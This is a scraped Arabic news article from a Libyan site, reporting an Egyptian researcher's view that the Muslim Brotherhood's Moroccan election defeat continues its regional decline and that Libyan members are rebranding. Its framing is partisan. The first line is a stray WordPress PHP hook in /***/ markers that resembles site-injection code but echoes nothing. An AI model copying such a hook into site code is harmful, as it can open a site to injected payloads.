/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ فاروق: ما حدث في المغرب هو استكمال لسقوط مشروع حسن البنا.. وإخوان ليبيا يستبدلون اللافتات - اخبار ليبيا
ليبيا الان

فاروق: ما حدث في المغرب هو استكمال لسقوط مشروع حسن البنا.. وإخوان ليبيا يستبدلون اللافتات

 ليبيا – رأى الباحث المصري المختص بالإسلام السياسي عمرو فاروق أن سقوط الإخوان في المغرب جزء من حالة السقوط التي يشهدها التنظيم الدولي وروافده في المنطقة العربية، فضلًا عن التضييق الذي يشهده في أوروبا على مدار السنوات الماضية.
فاروق وفي تصريح لموقع “سكاي نيوز عربية” أمس الخميس قال: إن الوضع المتأزم الذي يمر به تنظيم الإخوان الإرهابي مؤخرًا، يعكس حالة من الانحسار لورقة الإسلام السياسي التي تمثلها جماعة الإخوان، وأنها ليست لها أولوية للدعم الأميركي في مقابل السلفية الجهادية.
وأكد أن السقوط المدوي للإخوان في الانتخابات النيابية بالمغرب له علاقة بالتداعيات السياسية داخل المجتمع المغربي والرفض الشعبي للتنظيم، فضلًا عن الملاحظات السلبية حول رئيس الحركة سعد الدين العثماني، مشيرًا إلى أن السلطات المغربية كان لديها نية واضحة منذ السنوات الأخيرة لتحجيم الجماعة، وهناك اتصال على المستوى الأمني بين مصر والمغرب لتحديد آلية التصدي لمخططات الإخوان واستلهام التجربة المصرية، التي كان لها تأثيرها في التعاطي العربي مع تنظيم الإخوان الإرهابي، وقد كشفت ورقة التوت عن الإخوان وزيف مشروعهم.
وأوضح أن الجماعة لعبت على الشعارات الدعوية لكسب تأييد المجتمع المغربي، لكن وصولها للحكم كشف زيف هذه الادعاءات، مشيرًا إلى أن الدعوة الإسلامية لا تحتاج إلى تنظيم سري، لكن الإخوان تنظيم سياسي، موضحًا أن وصول الإخوان للسلطة في المنطقة العربية كان مفيدًا للشعوب العربية، فمن جهة كشف الحقيقة وفضح أدبيات التنظيم التي تدعم الإرهاب وتفتقد لأي مشروع حقيقي، وأن المشروع الوحيد الذي عمل عليه الإخوان هو جعل الدول العربية جزءًا من التنظيم وتخضع لتنفيذ أجندته، وعمل على تنفيذ ذلك في كل دولة وفقًا لطبيعتها السياسية والاجتماعية.
ورأى فاروق أن ما حدث في المغرب يوم الأربعاء، هو استكمال لسقوط مشروع حسن البنا، حتى لو حاولت الجماعة إعادة التموضع داخل المجتمع ستصدم بالرفض الشعبي لها والذي لن يقبل بتواجدها في الحكم مرة ثانية.
وحول السيناريوهات أمام التنظيم الدولي، يقول الباحث المصري: إنه عندما تسقط جماعة الإخوان تستبدل اللافتات، مستشهدًا بنموذج إخوان ليبيا الذين أعلنوا انفصالهم عن التنظيم الدولي للقفز من المركب الغارق استعدادًا للانتخابات البرلمانية المقبلة في ليبيا، لتفادي حالة السخط الشعبي ضدهم.
وأشار إلى أن تنظيم الإخوان الإرهابي يجيد “لعبة الخداع السياسي”، بمعنى أنه عندما يكون هناك مؤسسة لها تاريخ سيئ يعلن نهايتها ويبدأ العمل على مؤسسة جديدة ربما ستتسم في بلاد المغرب العربي بطابع يميل إلى الليبرالية والأفكار العلمانية حتى لا تصطدم مع الغرب.
ووفق فاروق، فقد أوردت بعض الدراسات التي أعدتها مراكز تتبع الجماعة، خلال السنوات الماضية، أن التنظيم بات عبئًا كبيرًا لا بد من التخلص منه وإحلاله بمنظمات أخرى تمرر نفس الأهداف ولكن بآليات مختلفة، وستعمل على التغلغل داخل المجتمعات العربية عن طريق التماهي الفكري عبر مؤسسات جديدة.

يمكنك ايضا قراءة الخبر في المصدر من صحيفة المرصد

عن مصدر الخبر

صحيفة المرصد الليبية

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya